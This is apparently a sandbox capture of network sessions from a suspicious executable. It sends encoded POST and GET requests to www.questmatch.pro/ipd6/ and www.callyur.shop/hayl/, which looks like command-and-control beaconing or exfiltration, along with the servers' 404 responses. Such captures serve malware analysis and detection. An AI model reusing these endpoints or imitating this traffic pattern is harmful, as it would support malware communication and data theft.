Nov 20, 2024 08:33:13.288774014 CET	1236	IN	HTTP/1.1 404 Date: Wed, 20 Nov 2024 07:33:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Correlation-ID: bf8ec536-c5dc-48c0-8e8e-2c5256a157ca X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 CF-Connecting-IP: 8.46.123.75 CF-IPCountry: US CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9sQwa5CrbQRmfu%2BZRtS7XW%2BL16yvxzK5Gs2svE7Wls0nsRzIPIG38UkE2ZwmA9%2FmOIBElDmD8ZdfpTcAkZjBKnc4gU%2FCo7WjBDjwVXYGDeRezVqoaOfHb%2BfRVp5YQHn%2BGFcn79Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56c0249a74c34b-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=816&delivery_rate=0&cwnd=174&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 24 8e c1 0a 82 40 14 45 7f 65 b8 6b 45 33 c7 64 3e 20 70 63 41 ed a2 c5 f8 e6 59 d2 34 2f 46 5d 44 f8 ef 21 ae cf e1 70 7e e8 c4 7d 61 c2 ec 7d 02 8e 51 e2 08 f3 03 89 63 98 32 2f 13 04 fb 66 18 b4 32 a9 a3 cc c1 21 81 e3 c9 0e 7e 84 b9 a1 15 f5 b4 c1 79 8e aa 5f a9 ea 25 aa f3 e9 Data Ascii: b4$@EekE3d> pcAY4/F]D!p~}a}Qc2/f2!~y_%
Nov 20, 2024 08:33:13.288794994 CET	83	IN	Data Raw: 72 55 d9 f0 71 55 86 fb b2 fa dd fc 68 42 2f 5b 3a 46 f6 76 1a 24 34 0e 06 5d 5f 33 e9 7d 95 92 76 94 96 35 e5 69 cd 35 a7 05 e9 42 57 76 a7 0f 64 91 60 9c 2c bd ae d1 12 6f b7 cb f2 07 00 00 ff ff 03 00 9d 4d 47 98 bc 00 00 00 0d 0a 30 0d 0a 0d Data Ascii: rUqUhB/[:Fv$4]_3}v5i5BWvd`,oMG0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50009	188.114.96.3	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:15.255605936 CET	840	OUT	POST /ipd6/ HTTP/1.1 Host: www.questmatch.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.questmatch.pro Referer: http://www.questmatch.pro/ipd6/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 42 43 33 57 72 31 7a 44 44 6d 75 5a 56 35 4e 59 65 68 59 54 65 63 68 79 4b 58 71 4a 30 4c 44 41 64 74 32 4f 71 7a 78 70 34 79 63 5a 61 75 47 56 35 71 42 71 4d 78 55 77 56 37 39 76 43 55 6b 37 6e 45 63 71 31 31 4a 32 71 58 79 57 42 76 45 57 68 2f 4b 39 67 63 39 51 75 54 6f 69 73 37 44 49 51 4c 4c 74 74 54 78 6b 37 50 56 67 30 43 62 64 77 32 36 56 43 6f 31 59 51 54 34 6a 50 37 5a 69 6a 72 52 65 76 6a 46 70 6a 58 56 6e 6f 54 53 64 72 73 42 64 49 63 58 59 73 41 36 36 45 57 51 6e 70 72 45 46 4a 4e 66 57 54 38 73 57 33 67 62 43 6f 4e 53 51 2f 2b 36 56 70 74 35 36 36 58 5a 57 46 75 4b 66 31 55 54 32 4a 49 4c 39 69 37 42 54 77 66 6f 33 38 38 54 52 73 43 5a 4a 71 6d 49 49 48 41 3d 3d Data Ascii: GR54yHZ8=BC3Wr1zDDmuZV5NYehYTechyKXqJ0LDAdt2Oqzxp4ycZauGV5qBqMxUwV79vCUk7nEcq11J2qXyWBvEWh/K9gc9QuTois7DIQLLttTxk7PVg0Cbdw26VCo1YQT4jP7ZijrRevjFpjXVnoTSdrsBdIcXYsA66EWQnprEFJNfWT8sW3gbCoNSQ/+6Vpt566XZWFuKf1UT2JIL9i7BTwfo388TRsCZJqmIIHA==
Nov 20, 2024 08:33:15.886771917 CET	1236	IN	HTTP/1.1 404 Date: Wed, 20 Nov 2024 07:33:15 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Correlation-ID: 9aec1926-cafa-452e-aa7d-0425c9cda55f X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 CF-Connecting-IP: 8.46.123.75 CF-IPCountry: US CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Lvr2uCh35MA86m2MQpiukXM0ZRmH9T6%2B3Mr5upwZxjVDyiC8aTLglePHJmMbKfj%2BuBiQU9Wb18wngcW8exNZO4Wcdm%2Fq3KQDWEUAw0QwmCWA2FGiHb1wMO03M7oLijhWEfc5Qs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56c034cc058cc8-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4981&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=840&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 24 8e c1 0a 82 40 14 45 7f 65 b8 6b 25 13 2d 9c 0f 08 dc 58 90 bb 68 f1 9c f7 a6 a4 69 5e 8c ba 88 f0 df 23 5a 9f c3 e1 7c 30 28 bf 61 e3 12 42 06 49 49 d3 04 fb 81 53 16 d8 aa a8 32 44 7a 0a 2c 3a 9d cd 41 97 c8 c8 c0 32 d3 18 26 d8 0b 3a 35 77 8a 1c 24 19 ff a3 c6 6b 32 a7 e3 b9 37 9b f1 c5 bb 0d Data Ascii: b3$@Eek%-Xhi^#Z\|0(aBIIS2Dz,:A2&:5w$k27
Nov 20, 2024 08:33:15.886794090 CET	76	IN	Data Raw: ae eb cf 1f 96 5b 1b bd fe d3 29 49 a0 79 d4 d8 32 2c 1a 12 b7 6d ca 5d ee c8 53 5e d5 a5 e4 44 7b ce 8b aa ac 5d e3 98 ea da 23 c3 34 93 7b f4 89 9c fc 6f d7 f5 0b 00 00 ff ff 03 00 35 b6 32 a5 bc 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: [)Iy2,m]S^D{]#4{o520

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50010	188.114.96.3	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:17.809768915 CET	1853	OUT	POST /ipd6/ HTTP/1.1 Host: www.questmatch.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.questmatch.pro Referer: http://www.questmatch.pro/ipd6/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 42 43 33 57 72 31 7a 44 44 6d 75 5a 56 35 4e 59 65 68 59 54 65 63 68 79 4b 58 71 4a 30 4c 44 41 64 74 32 4f 71 7a 78 70 34 79 55 5a 61 66 6d 56 37 4a 5a 71 4e 78 55 77 64 62 39 37 43 55 6b 63 6e 46 35 68 31 31 46 6d 71 52 75 57 42 4b 51 57 6d 4e 75 39 70 63 39 51 69 7a 6f 6e 78 72 43 53 51 50 58 68 74 54 68 6b 37 50 56 67 30 45 33 64 77 6a 57 56 4f 49 31 66 58 54 34 2f 4c 37 5a 4b 6a 72 5a 4f 76 6a 42 66 69 6e 31 6e 70 33 4f 64 70 36 39 64 44 63 58 61 72 41 37 2f 45 57 63 6b 70 72 5a 30 4a 4e 71 39 54 36 51 57 30 30 2b 31 34 66 47 5a 6d 34 36 56 79 75 45 51 78 69 39 35 63 65 43 30 39 57 48 70 42 6f 50 78 76 38 35 4b 6d 64 64 33 70 73 6a 77 79 45 39 57 6c 79 68 36 59 46 67 4c 31 6b 41 6f 7a 56 6f 62 6e 38 37 47 79 79 5a 46 37 7a 59 50 4d 47 33 6a 68 49 79 55 34 68 68 51 57 68 38 53 48 56 38 70 58 66 4d 56 6e 69 71 4d 38 53 38 7a 68 4d 47 67 39 6b 2b 56 53 2f 62 5a 42 57 45 2f 6a 6e 48 5a 72 6d 47 4a 39 4c 4c 4c 62 78 5a 33 6c 42 64 4c 6e 6b 78 56 53 6c 43 37 5a 45 39 66 50 [TRUNCATED] Data Ascii: GR54yHZ8=BC3Wr1zDDmuZV5NYehYTechyKXqJ0LDAdt2Oqzxp4yUZafmV7JZqNxUwdb97CUkcnF5h11FmqRuWBKQWmNu9pc9QizonxrCSQPXhtThk7PVg0E3dwjWVOI1fXT4/L7ZKjrZOvjBfin1np3Odp69dDcXarA7/EWckprZ0JNq9T6QW00+14fGZm46VyuEQxi95ceC09WHpBoPxv85Kmdd3psjwyE9Wlyh6YFgL1kAozVobn87GyyZF7zYPMG3jhIyU4hhQWh8SHV8pXfMVniqM8S8zhMGg9k+VS/bZBWE/jnHZrmGJ9LLLbxZ3lBdLnkxVSlC7ZE9fPkM+nUD2uT+mGiQP7eHqrlXXzp/vGDuntHx1+ERDUrTBkG/+FTAZd9o6bTsic6nwK7pFlmR9Ph0JeSesgEF3aH+ddfkL82Jt6wSe2W3y4bADAkJ2894lXhEA5gZSZOZhRMon7GqrgO02uNMU+8L2kY3TgbR1aSrxk3F2Z6O7nIJztSRBJPt7Fgdtr2rZxvQ3lvAzBRRWPj/I4Sa0RopmJJFvcNlYAqDq20uGF28lm/DKby7XuBYj6ng+Q6OvSCF6V3Fl1+a+IVIX08ofesrb5ukoJ1jV259fhKPIlygGY+vvTODCzNtP4J9XPQGgBsca3bgMw1KQcW80lpvDueQiHQ8qM+Jxw8xy4PcB7ItKYKHnHGYXrdUHxesRsyf0scur5eQdP271Cgj5GfOeYNyuS2N0F9hgQcmYNFMRj0+Gfgf4NBXOb4ixKpfukrhREuZTHNtM5Io3WfNt/2Q4kTrZwDE2tEveRej60RytcnUG2Xw9knfmw8wt4aGe/5J4MW9tp2lokGOh6BpCPuw0S/C+Ghveylo/bqIf2LBXMx9f990J0idpmC9HAzOfkGLF3Bl4QPS1HZn7S3VIfiAEjl9vnzRw6MIoWL62omLxPX6sexnzTAy4ix4OM33zX7qSOVpJdc3gtJSPxwM0esgtHVy7sO9E9/OIf4al3Qo [TRUNCATED]
Nov 20, 2024 08:33:18.423091888 CET	1236	IN	HTTP/1.1 404 Date: Wed, 20 Nov 2024 07:33:18 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Correlation-ID: 942dc704-fdbc-4f85-ab79-cf3b078b69ca X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 CF-Connecting-IP: 8.46.123.75 CF-IPCountry: US CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j9r7YXTCGWgm700kcS69%2BSKgT1T4CmyhXxMlraSWXaxYu6a75xU%2FtiEj%2BBPowqk61VXQwrlILagut3d9in0kJoWOztCFXLG69KVaBfm828FrCNzHo33%2BN68EMOAzLL6SFkULDNQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56c044acf741cf-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2036&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1853&delivery_rate=0&cwnd=169&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 24 8e 41 0e 82 30 14 05 af d2 bc 35 04 a2 15 a4 07 30 61 83 26 b2 33 2e da fe 56 89 b5 df 14 58 18 c2 dd 0d 71 3d 93 c9 2c 30 4c 5f a8 38 87 90 c1 a5 c4 69 84 5a 60 99 1c 94 2c 65 86 a8 df 0e 0a 1d 4f e2 c4 73 24 64 20 37 e9 21 8c 50 37 74 2c 9e 3a 52 70 49 f8 8d 0a cf 49 5c ce d7 5e 14 c3 Data Ascii: b5$A050a&3.VXq=,0L_8iZ`,eOs$d 7!P7t,:RpII\^
Nov 20, 2024 08:33:18.423111916 CET	81	IN	Data Raw: 87 aa 02 f7 75 f3 cd fc 68 a3 e7 7f 3a 25 17 f4 34 70 6c 09 0a 8d dc 91 ad 4b 99 7b 32 36 97 fe 78 c8 b5 a9 9b dc fa bd 29 eb a3 a9 1a ab 91 61 9c b4 7d f5 49 5b f7 bf 5d d7 1f 00 00 00 ff ff 03 00 13 61 45 b9 bc 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: uh:%4plK{26x)a}I[]aE0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50011	188.114.96.3	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:20.356177092 CET	556	OUT	GET /ipd6/?9xn=fHadNpk8MVax&GR54yHZ8=MAf2oATgQW2BddVfADsXf+wCIFqkr7SFGuPP0SlPqjR1OOKK8KBvL1kFaoovUHshjlod7xBKsGH7WboeoPfL5uc/jX4WzK3nYbDP1BFL1MIpigvL/S+Ybe5ZZiUbOMV88bEfnEo= HTTP/1.1 Host: www.questmatch.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:33:20.999013901 CET	1236	IN	HTTP/1.1 404 Date: Wed, 20 Nov 2024 07:33:20 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Correlation-ID: 5a33ab18-f6fa-4238-b654-c7dd8d5e838c X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 CF-Connecting-IP: 8.46.123.75 CF-IPCountry: US CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TL5%2FNRGcFgnmftMw3vc2UNJtWO%2B%2FvLGW%2B0Q1X9tuPXRe7%2FD2%2FCnsYv59KDxVMIZtY4x3KcJkgX3kH8wdSp9cphzdpeGxEQD0JO8kKdzCZq2vXEXiRQkkarCrF9D%2FDbEQHDKNwTI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56c054bdaa0f5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=556&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 62 0d 0a 7b 22 62 6f 64 79 22 3a 6e 75 6c 6c 2c 22 65 72 72 6f 72 73 22 3a 7b 22 63 6f 64 65 22 3a 34 30 34 2c 22 6e 61 6d 65 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 64 65 74 61 69 6c 73 22 3a 5b 22 4e 6f 20 68 61 6e 64 6c 65 72 20 66 6f 75 6e 64 20 66 6f 72 20 47 45 54 20 2f 69 70 64 36 2f 22 5d 7d 2c 22 64 65 62 75 67 49 6e 66 6f 22 3a 7b 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 Data Ascii: bb{"body":null,"errors":{"code":404,"name":"Not Found","details":["No handler found for GET /ipd6/"]},"debugInfo":{"correlationI
Nov 20, 2024 08:33:20.999037027 CET	68	IN	Data Raw: 64 22 3a 22 35 61 33 33 61 62 31 38 2d 66 36 66 61 2d 34 32 33 38 2d 62 36 35 34 2d 63 37 64 64 38 64 35 65 38 33 38 63 22 2c 22 73 74 61 63 6b 54 72 61 63 65 22 3a 6e 75 6c 6c 7d 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: d":"5a33ab18-f6fa-4238-b654-c7dd8d5e838c","stackTrace":null}}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50014	66.29.137.10	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:26.071649075 CET	810	OUT	POST /hayl/ HTTP/1.1 Host: www.callyur.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.callyur.shop Referer: http://www.callyur.shop/hayl/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 32 73 6f 56 59 2f 42 43 4b 77 52 78 6f 36 52 37 6b 47 31 66 57 53 38 58 53 68 31 6b 61 78 44 68 56 65 78 72 54 57 47 49 52 4f 56 78 73 61 42 72 6b 4d 79 4b 53 37 43 43 4d 49 2f 31 71 54 42 4c 35 30 42 4e 6d 65 2f 33 6c 30 56 48 78 57 49 70 2f 56 45 75 66 44 42 73 37 35 61 69 38 72 4f 58 41 71 43 49 67 61 42 77 31 65 43 76 32 79 39 41 34 31 56 66 78 30 36 51 77 69 41 62 70 78 7a 48 45 62 6a 36 75 4f 55 70 47 63 71 6a 72 55 6b 2f 67 59 69 73 7a 6a 64 38 44 35 63 59 58 36 75 64 65 65 39 47 61 52 77 4a 6c 6f 51 6a 54 4f 73 42 4e 4f 74 36 61 36 6b 73 2b 4c 4d 63 62 39 30 4b 4f 59 6b 4e 6f 76 66 4a 69 33 76 6a Data Ascii: GR54yHZ8=2soVY/BCKwRxo6R7kG1fWS8XSh1kaxDhVexrTWGIROVxsaBrkMyKS7CCMI/1qTBL50BNme/3l0VHxWIp/VEufDBs75ai8rOXAqCIgaBw1eCv2y9A41Vfx06QwiAbpxzHEbj6uOUpGcqjrUk/gYiszjd8D5cYX6udee9GaRwJloQjTOsBNOt6a6ks+LMcb90KOYkNovfJi3vj
Nov 20, 2024 08:33:26.642684937 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 20 Nov 2024 07:33:26 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 34 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 3a e9 72 e2 5a 7a ff ef 53 10 a7 92 cc 94 da ad 15 10 1e bb 67 b4 21 09 90 90 04 02 44 2a 75 4b bb 84 56 b4 c3 54 1e 28 af 91 27 cb 11 b6 db 98 b6 6f f7 a4 f2 23 a7 7f 18 9d e5 db 97 d3 df 77 7e fb ed b7 c7 7f 62 97 cc da 50 b8 41 50 25 f1 b7 df 1e 9f ff 0c c0 78 0c 5c d3 f9 f6 db e5 67 e2 56 26 d8 51 e5 f7 ee b1 0e 9b a7 3b 26 4b 2b 37 ad ee ab 53 ee de 0d ec e7 af a7 bb ca ed 2a b8 07 f1 97 81 1d 98 45 e9 56 4f 75 e5 dd 93 77 9f c2 31 ed c0 bd ef cf 17 59 7c 05 28 cd ee ed 7e e9 d3 83 4a 61 fa 89 f9 8f 9c e0 ba 3c 2c dc f2 ea 08 f2 0e 7a 6a 26 ee d3 5d 13 ba 6d 9e 15 d5 d5 b6 36 74 aa e0 c9 71 9b d0 76 ef 2f 1f 5f 06 61 1a 56 a1 19 df 97 b6 19 bb 4f e8 d7 ef a0 aa b0 8a dd 6f 04 42 0c e4 ac 1a 4c b3 3a 75 1e e1 e7 c9 67 51 96 d5 29 76 07 bd dc 5e c4 65 97 e5 0b 1d bd a8 ad cc 39 0d fe 7e d9 da 7f f6 c3 03 d2 b9 f7 cc 24 8c 4f 0f 03 aa 00 68 bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 1e 2b c3 b3 fb 30 40 89 bc 7b bf 18 87 a9 7b [TRUNCATED] Data Ascii: 1348:rZzSg!DuKVT('o#w~bPAP%x\gV&Q;&K+7SEVOuw1Y\|(~Ja<,zj&]m6tqv/_aVOoBL:ugQ)v^e9~$Oh7n/L-B/?+0@{{T`+1J`,(?{~61yf>1?LMwK,XylYXqfGgbz&>v= %^g)E5W`y}zre.2qyVANYf$?Se/5q+e\|HooKa@\WZk0\OWe]qyKS>0`G?Rqaxc-+I+^kgaB[A=WxD3WC5nqe_x2.?_6Ain=WD\|nq#EF7=-L/1euI+ 2x#W+u7y]qh81\4ml[z7/FK901[5~g{9r@K~y5?67=_$u` +%nC$y}VC625?- :3>4D%~)
Nov 20, 2024 08:33:26.642726898 CET	224	IN	Data Raw: 9b 1a de e8 f9 5b e2 3a a1 39 f8 53 02 02 e9 8b 62 c6 23 32 ef fe 7c 83 e6 d6 6a 6f 96 7b e1 e5 59 79 c9 50 0f 83 c2 8d 41 ac 6b 6e 1c b0 df d3 47 2c e0 3f ed c3 20 08 1d c7 4d df 48 ea 57 fb 71 95 9f 2e 96 fd ec d7 ef f7 bd 91 df 9f b8 25 ed c3 Data Ascii: [:9Sb#2\|jo{YyPAknG,? MHWq.%,o?FH"{/j_vGI?)':KCKY~Ui0,fHb5*M~k\Ufq]}\/
Nov 20, 2024 08:33:26.642762899 CET	1236	IN	Data Raw: f1 ab f8 d1 9f ec c7 eb f5 e6 83 a5 57 96 90 9b 7b 7a 7f ec 46 38 2f 17 ee 67 ed 7f 60 40 37 f9 fa 33 c5 bf 41 fd 20 f8 4c 26 40 b4 ff 8b e0 f3 63 d8 a8 8b f8 4f 8e 59 99 0f 97 30 02 e7 a9 ff 17 cb 2c dd 11 f1 25 dc d0 4b ad 45 e6 bc 9f 51 60 c8 Data Ascii: W{zF8/g`@73A L&@cOY0,%KEQ`+=tROP!p?`cyAM=/P8tuVEUo-XYqO5cw#/X0H8S2cL4nPv/ImVqf]>D
Nov 20, 2024 08:33:26.642796040 CET	1236	IN	Data Raw: 81 e2 76 b8 6c 8a ea a2 15 44 51 8d d5 48 b1 da 52 9b e6 4e e2 58 70 c0 92 eb 15 cb b4 6b ba 26 b7 38 52 ae c4 70 35 06 16 d3 ee c7 8c 4f b9 ec 21 36 a5 49 54 51 2c 02 49 5d 0b 8a d3 e4 ae 5c 9b 52 a6 89 19 63 ee 13 1f a7 55 7f 71 2c 84 0d 43 d7 Data Ascii: vlDQHRNXpk&8Rp5O!6ITQ,I]\RcUq,C1eCL)O6c94\[fbr5%rJHP0R#nUDliK",pPjlkm,P9f)d0<"{d9I#U#X*z4
Nov 20, 2024 08:33:26.642832994 CET	448	IN	Data Raw: 8b d3 b8 96 47 8a 0b b7 54 5a d0 dd 32 a5 cc 93 b8 5a 6c 23 95 6c 33 7a 7e d2 20 c8 d1 d7 65 cd cd a1 05 99 63 34 4b 78 bc 53 7a c7 a0 e3 d5 b5 ba 8f 6b 41 5f ec 0a ad 04 97 2b 9a 43 96 fe 59 8c 0b 53 23 9b a8 1d 1d d3 5d 52 b3 ab 29 a9 f9 2b b2 Data Ascii: GTZ2Zl#l3z~ ec4KxSzkA_+CYS#]R)+ ;$3Z3q-4j<ybh("0=ai-C]":dnUvMmn5f<oW7A '@ZU"kIQXV;;,K\|,wCUO
Nov 20, 2024 08:33:26.642863989 CET	848	IN	Data Raw: 3d de 46 94 45 a2 d1 99 f4 b8 6c 28 9b 48 41 a9 86 4e ce 55 6e 0b 72 5f 44 99 a6 97 6a 4a b8 e3 78 41 61 18 cb 4e bb 3c 10 39 45 49 83 9d 3d d9 45 9a 5c 0b 01 ce b4 e4 6c 57 b9 2e b3 19 ef 0f 3e dc d6 26 69 f0 31 be 6b 58 5d 39 c1 36 4c 35 0e 01 Data Ascii: =FEl(HANUnr_DjJxAaN<9EI=E\lW.>&i1kX]96L52:/i+OO&>m\> @Ow~}YiCGGxy7_E;=G'lvlU?Au}x>~Nw^x\|v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50015	66.29.137.10	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:28.617840052 CET	834	OUT	POST /hayl/ HTTP/1.1 Host: www.callyur.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.callyur.shop Referer: http://www.callyur.shop/hayl/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 32 73 6f 56 59 2f 42 43 4b 77 52 78 6f 61 68 37 6c 68 5a 66 65 53 38 55 64 42 31 6b 44 42 44 39 56 65 31 72 54 58 44 56 52 34 46 78 73 34 5a 72 6c 49 47 4b 54 37 43 43 55 59 2f 77 33 6a 42 45 35 30 46 46 6d 61 6a 33 6c 77 31 48 78 55 67 70 2b 69 6f 74 66 54 42 75 79 5a 61 67 69 62 4f 58 41 71 43 49 67 61 46 65 31 65 61 76 33 47 35 41 71 45 56 63 33 45 36 66 6e 53 41 62 69 52 79 4f 45 62 6a 63 75 50 49 58 47 5a 32 6a 72 57 73 2f 67 71 4b 76 36 6a 63 33 4f 5a 64 4c 55 6f 2f 51 52 76 30 42 45 6a 38 61 2b 71 34 4a 57 34 78 62 52 39 74 5a 49 71 45 75 2b 4a 55 75 62 64 30 67 4d 59 63 4e 36 34 54 75 74 44 4b 41 79 79 4c 55 33 65 56 63 59 62 6e 68 42 49 72 53 68 42 68 63 50 51 3d 3d Data Ascii: GR54yHZ8=2soVY/BCKwRxoah7lhZfeS8UdB1kDBD9Ve1rTXDVR4Fxs4ZrlIGKT7CCUY/w3jBE50FFmaj3lw1HxUgp+iotfTBuyZagibOXAqCIgaFe1eav3G5AqEVc3E6fnSAbiRyOEbjcuPIXGZ2jrWs/gqKv6jc3OZdLUo/QRv0BEj8a+q4JW4xbR9tZIqEu+JUubd0gMYcN64TutDKAyyLU3eVcYbnhBIrShBhcPQ==
